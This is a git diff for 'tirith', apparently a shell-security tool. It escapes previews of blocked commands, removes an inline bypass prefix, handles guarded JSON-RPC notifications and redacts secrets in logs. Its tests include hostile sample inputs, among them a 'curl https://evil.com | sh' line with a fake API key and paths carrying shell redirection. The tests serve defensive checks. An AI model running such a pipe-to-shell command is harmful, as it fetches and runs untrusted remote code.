         # Check with tirith paste, use temp file to prevent tty leakage
         local tmpfile=$(mktemp)
+        local _tirith_prev_internal="${_TIRITH_BASH_INTERNAL:-0}"
+        _TIRITH_BASH_INTERNAL=1
         printf '%s' "$pasted" | command tirith paste --shell posix --interactive >"$tmpfile" 2>&1
         local rc=$?
+        _TIRITH_BASH_INTERNAL="$_tirith_prev_internal"
         local output=$(<"$tmpfile")
         command rm -f "$tmpfile"
 
@@ -461,8 +480,10 @@ if [[ "$_TIRITH_BASH_MODE" == "enter" ]] && [[ $- == *i* ]]; then
           [[ -n "$output" ]] && { _tirith_output ""; _tirith_output "$output"; }
         else
           # Block (rc=1) or unexpected: discard paste (safe — user can re-paste)
+          local escaped_paste
+          escaped_paste=$(_tirith_escape_preview "$pasted")
           _tirith_output ""
-          _tirith_output "paste> $pasted"
+          _tirith_output "paste> $escaped_paste"
           [[ -n "$output" ]] && _tirith_output "$output"
           [[ $rc -ne 1 ]] && _tirith_output "tirith: paste check failed (exit code $rc)"
           return
diff --git a/crates/tirith/assets/shell/lib/fish-hook.fish b/crates/tirith/assets/shell/lib/fish-hook.fish
index 779b9e3..94f3f25 100644
--- a/crates/tirith/assets/shell/lib/fish-hook.fish
+++ b/crates/tirith/assets/shell/lib/fish-hook.fish
@@ -27,6 +27,10 @@ function _tirith_output
     end
 end
 
+function _tirith_escape_preview
+    string escape -- $argv[1]
+end
+
 # ─── Approval workflow helpers (ADR-7) ───
 
 function _tirith_parse_approval
@@ -97,12 +101,6 @@ if functions -q fish_clipboard_paste; and not functions -q _tirith_original_fish
             return
         end
 
-        # Honor inline TIRITH=0 prefix (#30): handles Warp routing typed input through paste
-        if string match -qr '^\s*TIRITH=0\s' -- "$content"
-            echo -n "$content"
-            return
-        end
-
         set -l tmpfile (mktemp)
         echo -n "$content" | command tirith paste --shell fish --interactive >$tmpfile 2>&1
         set -l rc $status
@@ -120,8 +118,9 @@ if functions -q fish_clipboard_paste; and not functions -q _tirith_original_fish
             # Warn: fall through to echo
         else
             # Block or unexpected: discard
+            set -l escaped_content (_tirith_escape_preview "$content")
             _tirith_output ""
-            _tirith_output "paste> $content"
+            _tirith_output "paste> $escaped_content"
             if test -n "$output"
                 _tirith_output "$output"
             end
@@ -166,14 +165,16 @@ function _tirith_check_command
     if test $rc -eq 0
         # Allow: no output
     else if test $rc -eq 2
+        set -l escaped_cmd (_tirith_escape_preview "$cmd")
         _tirith_output ""
-        _tirith_output "command> $cmd"
+        _tirith_output "command> $escaped_cmd"
         if test -n "$output"
             _tirith_output "$output"
         end
     else if test $rc -eq 1
+        set -l escaped_cmd (_tirith_escape_preview "$cmd")
         _tirith_output ""
-        _tirith_output "command> $cmd"
+        _tirith_output "command> $escaped_cmd"
         if test -n "$output"
             _tirith_output "$output"
         end
diff --git a/crates/tirith/assets/shell/lib/powershell-hook.ps1 b/crates/tirith/assets/shell/lib/powershell-hook.ps1
index d5ba23c..71c9101 100644
--- a/crates/tirith/assets/shell/lib/powershell-hook.ps1
+++ b/crates/tirith/assets/shell/lib/powershell-hook.ps1
@@ -27,6 +27,14 @@ if (-not $psrlModule) {
     return
 }
 
+function global:_tirith_escape_preview {
+    param([string]$Text)
+    if ($null -eq $Text) {
+        return '""'
+    }
+    return (ConvertTo-Json -Compress -InputObject ([string]$Text))
+}
+
 # --- Approval workflow helpers (ADR-7) ---
 
 function global:_tirith_parse_approval {
@@ -133,10 +141,10 @@ Set-PSReadLineKeyHandler -Key Enter -ScriptBlock {
     if ($rc -eq 0) {
         # Allow: no output
     } elseif ($rc -eq 2) {
-        Write-Host "command> $line"
+        Write-Host "command> $(_tirith_escape_preview $line)"
         if (-not [string]::IsNullOrWhiteSpace($output)) { Write-Host $output }
     } elseif ($rc -eq 1) {
-        Write-Host "command> $line"
+        Write-Host "command> $(_tirith_escape_preview $line)"
         if (-not [string]::IsNullOrWhiteSpace($output)) { Write-Host $output }
     } else {
         # Unexpected rc: warn + execute (fail-open to avoid terminal breakage)
@@ -213,12 +221,6 @@ Set-PSReadLineKeyHandler -Key Ctrl+v -ScriptBlock {
         return
     }
 
-    # Honor inline TIRITH=0 prefix (#30): handles Warp routing typed input through paste
-    if ($pasted.TrimStart() -match '^TIRITH=0\s') {
-        [Microsoft.PowerShell.PSConsoleReadLine]::Insert($pasted)
-        return
-    }
-
     # Check with tirith paste, use temp file to prevent output leakage
     $tmpfile = [System.IO.Path]::GetTempFileName()
     $pasted | & tirith paste --shell powershell --interactive > $tmpfile 2>&1
@@ -233,7 +235,7 @@ Set-PSReadLineKeyHandler -Key Ctrl+v -ScriptBlock {
         # Warn: fall through to insert
     } else {
         # Block or unexpected: discard paste
-        Write-Host "paste> $pasted"
+        Write-Host "paste> $(_tirith_escape_preview $pasted)"
         if (-not [string]::IsNullOrWhiteSpace($output)) { Write-Host $output }
         if ($rc -ne 1) { Write-Host "tirith: unexpected exit code $rc - paste blocked for safety" }
         return
diff --git a/crates/tirith/assets/shell/lib/zsh-hook.zsh b/crates/tirith/assets/shell/lib/zsh-hook.zsh
index c2f4768..a3f3891 100644
--- a/crates/tirith/assets/shell/lib/zsh-hook.zsh
+++ b/crates/tirith/assets/shell/lib/zsh-hook.zsh
@@ -30,6 +30,10 @@ _tirith_output() {
   fi
 }
 
+_tirith_escape_preview() {
+  printf '%q' -- "$1"
+}
+
 # ─── Approval workflow helpers (ADR-7) ───
 
 _tirith_parse_approval() {
@@ -96,12 +100,14 @@ _tirith_accept_line() {
   if [[ $rc -eq 0 ]]; then
     :  # Allow: no output
   elif [[ $rc -eq 2 ]]; then
+    local escaped_buf=$(_tirith_escape_preview "$buf")
     _tirith_output ""
-    _tirith_output "command> $buf"
+    _tirith_output "command> $escaped_buf"
     [[ -n "$output" ]] && _tirith_output "$output"
   elif [[ $rc -eq 1 ]]; then
+    local escaped_buf=$(_tirith_escape_preview "$buf")
     _tirith_output ""
-    _tirith_output "command> $buf"
+    _tirith_output "command> $escaped_buf"
     [[ -n "$output" ]] && _tirith_output "$output"
   else
     # Unexpected rc: warn + execute (fail-open to avoid terminal breakage)
@@ -174,17 +180,13 @@ _tirith_bracketed_paste() {
   local old_cursor="$CURSOR"
   zle _tirith_original_bracketed_paste 2>/dev/null || zle .bracketed-paste
 
-  # Honor TIRITH=0 bypass (#30): skip paste scanning
+  # Honor explicit TIRITH=0 bypass (#30): skip paste scanning
   [[ "${TIRITH:-}" == "0" ]] && return
 
   # The new content is what was added to BUFFER
   local new_buffer="$BUFFER"
   local pasted="${new_buffer:$old_cursor:$((${#new_buffer} - ${#old_buffer}))}"
 
-  # Honor inline TIRITH=0 prefix (#30): handles Warp routing typed input through paste
-  local _t_trimmed="${pasted#"${pasted%%[![:space:]]*}"}"
-  [[ "$_t_trimmed" == TIRITH=0[[:space:]]* ]] && return
-
   if [[ -n "$pasted" ]]; then
     # Pipe pasted content to tirith paste, use temp file to prevent tty leakage
     local tmpfile=$(mktemp)
@@ -202,8 +204,9 @@ _tirith_bracketed_paste() {
       # Block or unexpected: revert paste
       BUFFER="$old_buffer"
       CURSOR=$old_cursor
+      local escaped_paste=$(_tirith_escape_preview "$pasted")
       _tirith_output ""
-      _tirith_output "paste> $pasted"
+      _tirith_output "paste> $escaped_paste"
       [[ -n "$output" ]] && _tirith_output "$output"
       [[ $rc -ne 1 ]] && _tirith_output "tirith: unexpected exit code $rc — paste blocked for safety"
       zle send-break
diff --git a/crates/tirith/src/cli/check.rs b/crates/tirith/src/cli/check.rs
index c39a398..7d0cb18 100644
--- a/crates/tirith/src/cli/check.rs
+++ b/crates/tirith/src/cli/check.rs
@@ -155,7 +155,7 @@ pub fn run(
 
     // Write last_trigger.json for non-allow verdicts
     if verdict.action != tirith_core::verdict::Action::Allow {
-        last_trigger::write_last_trigger(&verdict, cmd);
+        last_trigger::write_last_trigger(&verdict, cmd, &policy.dlp_custom_patterns);
     }
 
     // Webhook dispatch (Team feature, non-blocking background thread)
@@ -181,7 +181,13 @@ pub fn run(
 
     // Output
     if json {
-        if output::write_json(&verdict, std::io::stdout().lock()).is_err() {
+        if output::write_json(
+            &verdict,
+            &policy.dlp_custom_patterns,
+            std::io::stdout().lock(),
+        )
+        .is_err()
+        {
             eprintln!("tirith: failed to write JSON output");
         }
     } else if output::write_human_auto(&verdict).is_err() {
diff --git a/crates/tirith/src/cli/gateway.rs b/crates/tirith/src/cli/gateway.rs
index 863ea51..c235c85 100644
--- a/crates/tirith/src/cli/gateway.rs
+++ b/crates/tirith/src/cli/gateway.rs
@@ -500,20 +500,6 @@ fn process_object(
 ) -> io::Result<()> {
     match check_guarded(obj, config) {
         GuardedResult::NotGuarded => forward(upstream, raw_line),
-        GuardedResult::GuardedNotification { tool_name } => {
-            write_audit(
-                "allow",
-                "passthrough_notification",
-                &[],
-                None,
-                &tool_name,
-                "",
-                0.0,
-                false,
-                false,
-            );
-            forward(upstream, raw_line)
-        }
         GuardedResult::Guarded {
             id,
             command,
@@ -522,9 +508,20 @@ fn process_object(
         } => handle_guarded_call(
             id, &command, &tool_name, shell, raw_line, config, upstream, output_tx,
         ),
+        GuardedResult::GuardedNotification {
+            command,
+            tool_name,
+            shell,
+        } => handle_guarded_notification(&command, &tool_name, shell, raw_line, config, upstream),
         GuardedResult::ExtractionFailed { id, tool_name } => {
             handle_extraction_failed(id, &tool_name, raw_line, config, upstream, output_tx)
         }
+        GuardedResult::NotificationExtractionFailed { tool_name } => {
+            handle_notification_extraction_failed(&tool_name)
+        }
+        GuardedResult::InvalidRequest { tool_name } => {
+            handle_invalid_guarded_request(&tool_name, output_tx)
+        }
     }
 }
 
@@ -702,6 +699,151 @@ fn handle_extraction_failed(
     }
 }
 
+#[allow(clippy::too_many_arguments)]
+fn handle_guarded_notification(
+    command: &str,
+    tool_name: &str,
+    shell: ShellType,
+    raw_line: &[u8],
+    config: &CompiledConfig,
+    upstream: &mut impl Write,
+) -> io::Result<()> {
+    let start = std::time::Instant::now();
+    let hash = cmd_hash_prefix(command);
+
+    let (tx, rx) = mpsc::channel();
+    let cmd_owned = command.to_string();
+    let cwd = std::env::current_dir()
+        .ok()
+        .map(|p| p.display().to_string());
+    thread::spawn(move || {
+        let ctx = AnalysisContext {
+            input: cmd_owned,
+            shell,
+            scan_context: ScanContext::Exec,
+            raw_bytes: None,
+            interactive: true,
+            cwd,
+            file_path: None,
+            repo_root: None,
+            is_config_override: false,
+            clipboard_html: None,
+        };
+        let _ = tx.send(engine::analyze(&ctx));
+    });
+
+    let timeout = Duration::from_millis(config.policy.timeout_ms);
+    match rx.recv_timeout(timeout) {
+        Ok(verdict) => {
+            let elapsed = start.elapsed().as_secs_f64() * 1000.0;
+            let should_deny = match verdict.action {
+                Action::Block => true,
+                Action::Warn => config.policy.warn_action == "deny",
+                Action::Allow => false,
+            };
+
+            let rule_ids: Vec<String> = verdict
+                .findings
+                .iter()
+                .map(|f| f.rule_id.to_string())
+                .collect();
+            let max_sev = verdict
+                .findings
+                .iter()
+                .map(|f| f.severity)
+                .max()
+                .map(|s| s.to_string());
+
+            if should_deny {
+                let decision = if verdict.action == Action::Block {
+                    "block"
+                } else {
+                    "warn"
+                };
+                write_audit(
+                    decision,
+                    "dropped_notification",
+                    &rule_ids,
+                    max_sev.as_deref(),
+                    tool_name,
+                    &hash,
+                    elapsed,
+                    false,
+                    false,
+                );
+                Ok(())
+            } else {
+                let decision = if verdict.action == Action::Warn {
+                    "warn"
+                } else {
+                    "allow"
+                };
+                write_audit(
+                    decision,
+                    "forwarded_notification",
+                    &rule_ids,
+                    max_sev.as_deref(),
+                    tool_name,
+                    &hash,
+                    elapsed,
+                    false,
+                    false,
+                );
+                forward(upstream, raw_line)
+            }
+        }
+        Err(_) => {
+            let elapsed = start.elapsed().as_secs_f64() * 1000.0;
+            write_audit(
+                "block",
+                "dropped_notification",
+                &[],
+                None,
+                tool_name,
+                &hash,
+                elapsed,
+                true,
+                true,
+            );
+            Ok(())
+        }
+    }
+}
+
+fn handle_notification_extraction_failed(tool_name: &str) -> io::Result<()> {
+    write_audit(
+        "block",
+        "dropped_notification",
+        &[],
+        None,
+        tool_name,
+        "",
+        0.0,
+        true,
+        false,
+    );
+    Ok(())
+}
+
+fn handle_invalid_guarded_request(
+    tool_name: &str,
+    output_tx: &mpsc::Sender<Vec<u8>>,
+) -> io::Result<()> {
+    write_audit(
+        "block",
+        "invalid_request",
+        &[],
+        None,
+        tool_name,
+        "",
+        0.0,
+        false,
+        false,
+    );
+    let _ = output_tx.send(build_invalid_id_request_response().into_bytes());
+    Ok(())
+}
+
 // ---------------------------------------------------------------------------
 // Guarded check
 // ---------------------------------------------------------------------------
@@ -709,7 +851,9 @@ fn handle_extraction_failed(
 enum GuardedResult {
     NotGuarded,
     GuardedNotification {
+        command: String,
         tool_name: String,
+        shell: ShellType,
     },
     Guarded {
         id: Value,
@@ -721,6 +865,12 @@ enum GuardedResult {
         id: Value,
         tool_name: String,
     },
+    NotificationExtractionFailed {
+        tool_name: String,
+    },
+    InvalidRequest {
+        tool_name: String,
+    },
 }
 
 fn check_guarded(obj: &Value, config: &CompiledConfig) -> GuardedResult {
@@ -748,33 +898,43 @@ fn check_guarded(obj: &Value, config: &CompiledConfig) -> GuardedResult {
         None => return GuardedResult::NotGuarded,
     };
 
-    let id = match obj.get("id") {
-        Some(v) => match v {
-            // Valid JSON-RPC id types: string, number, null
-            Value::String(_) | Value::Number(_) | Value::Null => v.clone(),
-            // Invalid id types (object, array, boolean) → normalize to null
-            _ => Value::Null,
-        },
-        None => return GuardedResult::GuardedNotification { tool_name },
-    };
-
     // Extract command via JSON Pointer paths (resolved against params)
-    for pointer in &guard.command_paths {
-        if let Some(val) = resolve_json_pointer(params, pointer) {
-            if let Some(s) = val.as_str() {
-                if !s.is_empty() {
-                    return GuardedResult::Guarded {
-                        id,
-                        command: s.to_string(),
-                        tool_name,
-                        shell: guard.shell,
-                    };
+    let extracted_command = || {
+        for pointer in &guard.command_paths {
+            if let Some(val) = resolve_json_pointer(params, pointer) {
+                if let Some(s) = val.as_str() {
+                    if !s.is_empty() {
+                        return Some(s.to_string());
+                    }
                 }
             }
         }
-    }
+        None
+    };
 
-    GuardedResult::ExtractionFailed { id, tool_name }
+    match obj.get("id") {
+        None => match extracted_command() {
+            Some(command) => GuardedResult::GuardedNotification {
+                command,
+                tool_name,
+                shell: guard.shell,
+            },
+            None => GuardedResult::NotificationExtractionFailed { tool_name },
+        },
+        Some(Value::String(_)) | Some(Value::Number(_)) | Some(Value::Null) => {
+            let id = obj.get("id").cloned().unwrap_or(Value::Null);
+            match extracted_command() {
+                Some(command) => GuardedResult::Guarded {
+                    id,
+                    command,
+                    tool_name,
+                    shell: guard.shell,
+                },
+                None => GuardedResult::ExtractionFailed { id, tool_name },
+            }
+        }
+        Some(_) => GuardedResult::InvalidRequest { tool_name },
+    }
 }
 
 // ---------------------------------------------------------------------------
@@ -936,6 +1096,18 @@ fn build_fail_mode_deny(
     serde_json::to_string(&resp).unwrap_or_default()
 }
 
+fn build_invalid_id_request_response() -> String {
+    serde_json::to_string(&JsonRpcResponse::err(
+        Value::Null,
+        JsonRpcError {
+            code: -32600,
+            message: "Invalid request: id must be string, number, or null".to_string(),
+            data: None,
+        },
+    ))
+    .unwrap_or_default()
+}
+
 // ---------------------------------------------------------------------------
 // Helpers
 // ---------------------------------------------------------------------------
@@ -1205,10 +1377,10 @@ guarded_tools:
             "method": "tools/call",
             "params": { "name": "Bash", "arguments": { "command": "ls" } }
         });
-        assert!(matches!(
-            check_guarded(&obj, &config),
-            GuardedResult::GuardedNotification { .. }
-        ));
+        match check_guarded(&obj, &config) {
+            GuardedResult::GuardedNotification { command, .. } => assert_eq!(command, "ls"),
+            _ => panic!("expected GuardedNotification"),
+        }
     }
 
     #[test]
@@ -1388,7 +1560,7 @@ guarded_tools:
     // -- Invalid id type tests (Fix #4: non-batch path) --
 
     #[test]
-    fn test_guarded_boolean_id_normalized_to_null() {
+    fn test_guarded_boolean_id_rejected() {
         let config = test_config();
         let obj: Value = serde_json::json!({
             "jsonrpc": "2.0",
@@ -1396,14 +1568,14 @@ guarded_tools:
             "method": "tools/call",
             "params": { "name": "Bash", "arguments": { "command": "ls" } }
         });
-        match check_guarded(&obj, &config) {
-            GuardedResult::Guarded { id, .. } => assert!(id.is_null()),
-            _ => panic!("expected Guarded"),
-        }
+        assert!(matches!(
+            check_guarded(&obj, &config),
+            GuardedResult::InvalidRequest { .. }
+        ));
     }
 
     #[test]
-    fn test_guarded_object_id_normalized_to_null() {
+    fn test_guarded_object_id_rejected() {
         let config = test_config();
         let obj: Value = serde_json::json!({
             "jsonrpc": "2.0",
@@ -1411,14 +1583,14 @@ guarded_tools:
             "method": "tools/call",
             "params": { "name": "Bash", "arguments": { "command": "ls" } }
         });
-        match check_guarded(&obj, &config) {
-            GuardedResult::Guarded { id, .. } => assert!(id.is_null()),
-            _ => panic!("expected Guarded"),
-        }
+        assert!(matches!(
+            check_guarded(&obj, &config),
+            GuardedResult::InvalidRequest { .. }
+        ));
     }
 
     #[test]
-    fn test_guarded_array_id_normalized_to_null() {
+    fn test_guarded_array_id_rejected() {
         let config = test_config();
         let obj: Value = serde_json::json!({
             "jsonrpc": "2.0",
@@ -1426,10 +1598,10 @@ guarded_tools:
             "method": "tools/call",
             "params": { "name": "Bash", "arguments": { "command": "ls" } }
         });
-        match check_guarded(&obj, &config) {
-            GuardedResult::Guarded { id, .. } => assert!(id.is_null()),
-            _ => panic!("expected Guarded"),
-        }
+        assert!(matches!(
+            check_guarded(&obj, &config),
+            GuardedResult::InvalidRequest { .. }
+        ));
     }
 
     #[test]
@@ -1462,6 +1634,20 @@ guarded_tools:
         }
     }
 
+    #[test]
+    fn test_guarded_notification_extraction_failed() {
+        let config = test_config();
+        let obj: Value = serde_json::json!({
+            "jsonrpc": "2.0",
+            "method": "tools/call",
+            "params": { "name": "Bash", "arguments": { "code": "ls" } }
+        });
+        assert!(matches!(
+            check_guarded(&obj, &config),
+            GuardedResult::NotificationExtractionFailed { .. }
+        ));
+    }
+
     // -- Policy enum validation tests (Fix #5) --
 
     #[test]
@@ -1596,6 +1782,18 @@ policy:
         assert!(!text.contains("Tirith: Tirith"));
     }
 
+    #[test]
+    fn test_invalid_id_request_response_wire_format() {
+        let resp = build_invalid_id_request_response();
+        let v: Value = serde_json::from_str(&resp).unwrap();
+        assert_eq!(v["error"]["code"], -32600);
+        assert_eq!(
+            v["error"]["message"],
+            "Invalid request: id must be string, number, or null"
+        );
+        assert!(v["id"].is_null());
+    }
+
     // -- Upstream write-failure shutdown test --
 
     #[test]
@@ -1643,6 +1841,30 @@ policy:
         assert_eq!(err.kind(), io::ErrorKind::BrokenPipe);
     }
 
+    #[test]
+    fn test_invalid_guarded_id_returns_local_error() {
+        let config = test_config();
+        let (tx, rx) = mpsc::channel::<Vec<u8>>();
+        let obj: Value = serde_json::json!({
+            "jsonrpc": "2.0",
+            "id": true,
+            "method": "tools/call",
+            "params": { "name": "Bash", "arguments": { "command": "ls" } }
+        });
+        let raw = serde_json::to_vec(&obj).unwrap();
+        let mut writer = Vec::new();
+        process_object(&obj, &raw, &config, &mut writer, &tx).unwrap();
+        assert!(
+            writer.is_empty(),
+            "invalid guarded requests should not be forwarded"
+        );
+
+        let resp = rx.recv().unwrap();
+        let v: Value = serde_json::from_slice(&resp).unwrap();
+        assert_eq!(v["error"]["code"], -32600);
+        assert!(v["id"].is_null());
+    }
+
     // -- Deny response wire format contract test (P1 fix) --
 
     #[test]
diff --git a/crates/tirith/src/cli/init.rs b/crates/tirith/src/cli/init.rs
index fcbd2c5..611570a 100644
--- a/crates/tirith/src/cli/init.rs
+++ b/crates/tirith/src/cli/init.rs
@@ -7,6 +7,14 @@ use std::process::Command;
 
 use crate::assets;
 
+fn posix_single_quote(path: &str) -> String {
+    format!("'{}'", path.replace('\'', "'\\''"))
+}
+
+fn powershell_single_quote(path: &str) -> String {
+    format!("'{}'", path.replace('\'', "''"))
+}
+
 pub fn run(shell: Option<&str>) -> i32 {
     let shell = shell.unwrap_or_else(|| detect_shell());
 
@@ -15,7 +23,10 @@ pub fn run(shell: Option<&str>) -> i32 {
     match shell {
         "zsh" => {
             if let Some(dir) = &hook_dir {
-                println!(r#"source "{}/lib/zsh-hook.zsh""#, dir.display());
+                println!(
+                    "source {}",
+                    posix_single_quote(&dir.join("lib/zsh-hook.zsh").display().to_string())
+                );
             } else {
                 eprintln!("tirith: could not locate or materialize shell hooks.");
                 return 1;
@@ -24,7 +35,10 @@ pub fn run(shell: Option<&str>) -> i32 {
         }
         "bash" => {
             if let Some(dir) = &hook_dir {
-                println!(r#"source "{}/lib/bash-hook.bash""#, dir.display());
+                println!(
+                    "source {}",
+                    posix_single_quote(&dir.join("lib/bash-hook.bash").display().to_string())
+                );
             } else {
                 eprintln!("tirith: could not locate or materialize shell hooks.");
                 return 1;
@@ -33,7 +47,10 @@ pub fn run(shell: Option<&str>) -> i32 {
         }
         "fish" => {
             if let Some(dir) = &hook_dir {
-                println!(r#"source "{}/lib/fish-hook.fish""#, dir.display());
+                println!(
+                    "source {}",
+                    posix_single_quote(&dir.join("lib/fish-hook.fish").display().to_string())
+                );
             } else {
                 eprintln!("tirith: could not locate or materialize shell hooks.");
                 return 1;
@@ -42,7 +59,12 @@ pub fn run(shell: Option<&str>) -> i32 {
         }
         "powershell" | "pwsh" => {
             if let Some(dir) = &hook_dir {
-                println!(r#". "{}\lib\powershell-hook.ps1""#, dir.display());
+                println!(
+                    ". {}",
+                    powershell_single_quote(
+                        &dir.join("lib/powershell-hook.ps1").display().to_string()
+                    )
+                );
             } else {
                 eprintln!("tirith: could not locate or materialize shell hooks.");
                 return 1;
@@ -51,7 +73,10 @@ pub fn run(shell: Option<&str>) -> i32 {
         }
         "nushell" | "nu" => {
             if let Some(dir) = &hook_dir {
-                println!(r#"source "{}/lib/nushell-hook.nu""#, dir.display());
+                println!(
+                    "source {}",
+                    posix_single_quote(&dir.join("lib/nushell-hook.nu").display().to_string())
+                );
             } else {
                 eprintln!("tirith: could not locate or materialize shell hooks.");
                 return 1;
@@ -322,7 +347,7 @@ fn materialize_hooks() -> Option<PathBuf> {
 
 #[cfg(test)]
 mod tests {
-    use super::normalize_shell_name;
+    use super::{normalize_shell_name, posix_single_quote, powershell_single_quote};
 
     #[test]
     fn normalize_shell_name_from_paths_and_login_shells() {
@@ -362,4 +387,16 @@ mod tests {
         assert_eq!(normalize_shell_name(""), None);
         assert_eq!(normalize_shell_name("python"), None);
     }
+
+    #[test]
+    fn quote_helpers_escape_shell_metacharacters() {
+        assert_eq!(
+            posix_single_quote("/tmp/hook' > file"),
+            "'/tmp/hook'\\'' > file'"
+        );
+        assert_eq!(
+            powershell_single_quote("C:\\temp\\it's.ps1"),
+            "'C:\\temp\\it''s.ps1'"
+        );
+    }
 }
diff --git a/crates/tirith/src/cli/last_trigger.rs b/crates/tirith/src/cli/last_trigger.rs
index aa7c46e..37d7d3d 100644
--- a/crates/tirith/src/cli/last_trigger.rs
+++ b/crates/tirith/src/cli/last_trigger.rs
@@ -1,6 +1,10 @@
 use tirith_core::util::truncate_bytes;
 
-pub fn write_last_trigger(verdict: &tirith_core::verdict::Verdict, cmd: &str) {
+pub fn write_last_trigger(
+    verdict: &tirith_core::verdict::Verdict,
+    cmd: &str,
+    custom_patterns: &[String],
+) {
     if let Some(dir) = tirith_core::policy::data_dir() {
         if let Err(e) = std::fs::create_dir_all(&dir) {
             eprintln!(
@@ -20,6 +24,9 @@ pub fn write_last_trigger(verdict: &tirith_core::verdict::Verdict, cmd: &str) {
             timestamp: String,
         }
 
+        let redacted_findings =
+            tirith_core::redact::redacted_findings(&verdict.findings, custom_patterns);
+
         let trigger = LastTrigger {
             rule_ids: verdict
                 .findings
@@ -33,8 +40,8 @@ pub fn write_last_trigger(verdict: &tirith_core::verdict::Verdict, cmd: &str) {
                 .max()
                 .map(|s| format!("{s}"))
                 .unwrap_or_default(),
-            command_redacted: redact_command(cmd),
-            findings: &verdict.findings,
+            command_redacted: redact_command(cmd, custom_patterns),
+            findings: &redacted_findings,
             timestamp: chrono::Utc::now().to_rfc3339(),
         };
 
@@ -69,17 +76,25 @@ pub fn write_last_trigger(verdict: &tirith_core::verdict::Verdict, cmd: &str) {
     }
 }
 
-fn redact_command(cmd: &str) -> String {
-    let prefix = truncate_bytes(cmd, 80);
-    if prefix.len() == cmd.len() {
-        cmd.to_string()
+fn redact_command(cmd: &str, custom_patterns: &[String]) -> String {
+    let scrubbed = tirith_core::redact::redact_command_text(cmd, custom_patterns);
+    let prefix = truncate_bytes(&scrubbed, 80);
+    if prefix.len() == scrubbed.len() {
+        scrubbed
     } else {
         format!("{prefix}...")
     }
 }
 
+#[cfg(test)]
+fn redact_assignment_values(cmd: &str) -> String {
+    tirith_core::redact::redact_shell_assignments(cmd)
+}
+
 #[cfg(test)]
 mod tests {
+    use super::{redact_assignment_values, redact_command};
+
     #[test]
     fn test_last_trigger_no_predictable_tmp() {
         // Verify NamedTempFile is used: no .last_trigger.json.tmp should remain.
@@ -112,4 +127,29 @@ mod tests {
             "file should contain expected data"
         );
     }
+
+    #[test]
+    fn test_redact_assignment_values_scrubs_exports() {
+        let redacted =
+            redact_assignment_values("export AWS_ACCESS_KEY_ID=ABCDEFGHIJKLMNOPQRST echo done");
+        assert!(redacted.contains("AWS_ACCESS_KEY_ID=[REDACTED]"));
+        assert!(!redacted.contains("ABCDEFGHIJKLMNOPQRST"));
+    }
+
+    #[test]
+    fn test_redact_assignment_values_scrubs_quoted_values() {
+        let redacted = redact_assignment_values("TOKEN='secret with spaces' curl example.com");
+        assert!(redacted.contains("TOKEN=[REDACTED]"));
+        assert!(!redacted.contains("secret with spaces"));
+    }
+
+    #[test]
+    fn test_redact_command_truncates_after_scrubbing() {
+        let redacted = redact_command(
+            "TOKEN=verysecretvalue curl https://example.com/install.sh",
+            &[],
+        );
+        assert!(redacted.contains("TOKEN=[REDACTED]"));
+        assert!(!redacted.contains("verysecretvalue"));
+    }
 }
diff --git a/crates/tirith/src/cli/paste.rs b/crates/tirith/src/cli/paste.rs
index 351266d..6708f14 100644
--- a/crates/tirith/src/cli/paste.rs
+++ b/crates/tirith/src/cli/paste.rs
@@ -101,11 +101,17 @@ pub fn run(
 
     // Write last_trigger.json for non-allow verdicts
     if verdict.action != tirith_core::verdict::Action::Allow {
-        last_trigger::write_last_trigger(&verdict, &ctx.input);
+        last_trigger::write_last_trigger(&verdict, &ctx.input, &policy.dlp_custom_patterns);
     }
 
     if json {
-        if output::write_json(&verdict, std::io::stdout().lock()).is_err() {
+        if output::write_json(
+            &verdict,
+            &policy.dlp_custom_patterns,
+            std::io::stdout().lock(),
+        )
+        .is_err()
+        {
             eprintln!("tirith: failed to write JSON output");
         }
     } else if output::write_human_auto(&verdict).is_err() {
diff --git a/crates/tirith/src/cli/setup/shell_profile.rs b/crates/tirith/src/cli/setup/shell_profile.rs
index 92785b3..9a15e86 100644
--- a/crates/tirith/src/cli/setup/shell_profile.rs
+++ b/crates/tirith/src/cli/setup/shell_profile.rs
@@ -21,6 +21,9 @@ fn needs_quoting(s: &str) -> bool {
             b,
             b' ' | b'\''
                 | b'"'
+                | b'\t'
+                | b'\n'
+                | b'\r'
                 | b'$'
                 | b'\\'
                 | b'`'
@@ -30,6 +33,12 @@ fn needs_quoting(s: &str) -> bool {
                 | b'&'
                 | b'|'
                 | b';'
+                | b'<'
+                | b'>'
+                | b'*'
+                | b'?'
+                | b'['
+                | b']'
                 | b'{'
                 | b'}'
                 | b'~'
@@ -41,7 +50,7 @@ fn needs_quoting(s: &str) -> bool {
 ///
 /// Uses single-quote wrapping with per-shell escaping for embedded
 /// single quotes. Returns the path unchanged if no special characters.
-fn shell_quote(path: &str, shell: &str) -> String {
+pub(crate) fn shell_quote(path: &str, shell: &str) -> String {
     if !needs_quoting(path) {
         return path.to_string();
     }
@@ -454,6 +463,14 @@ mod tests {
         );
     }
 
+    #[test]
+    fn quote_path_with_redirection_and_glob_chars() {
+        assert_eq!(
+            shell_quote("/tmp/hook>[abc]?*", "bash"),
+            "'/tmp/hook>[abc]?*'"
+        );
+    }
+
     // ── has_executable_tirith_init ───────────────────────────────
 
     #[test]
diff --git a/crates/tirith/src/cli/setup/tools.rs b/crates/tirith/src/cli/setup/tools.rs
index 0f6a899..1c3b406 100644
--- a/crates/tirith/src/cli/setup/tools.rs
+++ b/crates/tirith/src/cli/setup/tools.rs
@@ -422,7 +422,10 @@ pub fn setup_gemini_cli(opts: &SetupOpts) -> Result<(), String> {
         }
         Scope::User => {
             let abs = hooks_dir.join("tirith-security-guard-gemini.py");
-            format!(r#"python3 "{}""#, abs.display())
+            format!(
+                "python3 {}",
+                super::shell_profile::shell_quote(&abs.display().to_string(), "bash")
+            )
         }
     };
     merge::merge_gemini_settings(&settings_path, &hook_command, opts.force, opts.dry_run)?;
diff --git a/crates/tirith/tests/cli_integration.rs b/crates/tirith/tests/cli_integration.rs
index 7c911ab..2049067 100644
--- a/crates/tirith/tests/cli_integration.rs
+++ b/crates/tirith/tests/cli_integration.rs
@@ -142,6 +142,32 @@ fn check_json_output() {
     assert!(!json["findings"].as_array().unwrap().is_empty());
 }
 
+#[test]
+fn check_json_output_redacts_assignment_values_in_findings() {
+    let out = tirith()
+        .args([
+            "check",
+            "--shell",
+            "posix",
+            "--interactive",
+            "--json",
+            "--",
+            "OPENAI_API_KEY=sk-secret curl https://evil.com | sh",
+        ])
+        .output()
+        .expect("failed to run tirith");
+    assert_eq!(out.status.code(), Some(1));
+    let stdout = String::from_utf8_lossy(&out.stdout);
+    assert!(
+        !stdout.contains("sk-secret"),
+        "JSON output should not contain raw secret values: {stdout}"
+    );
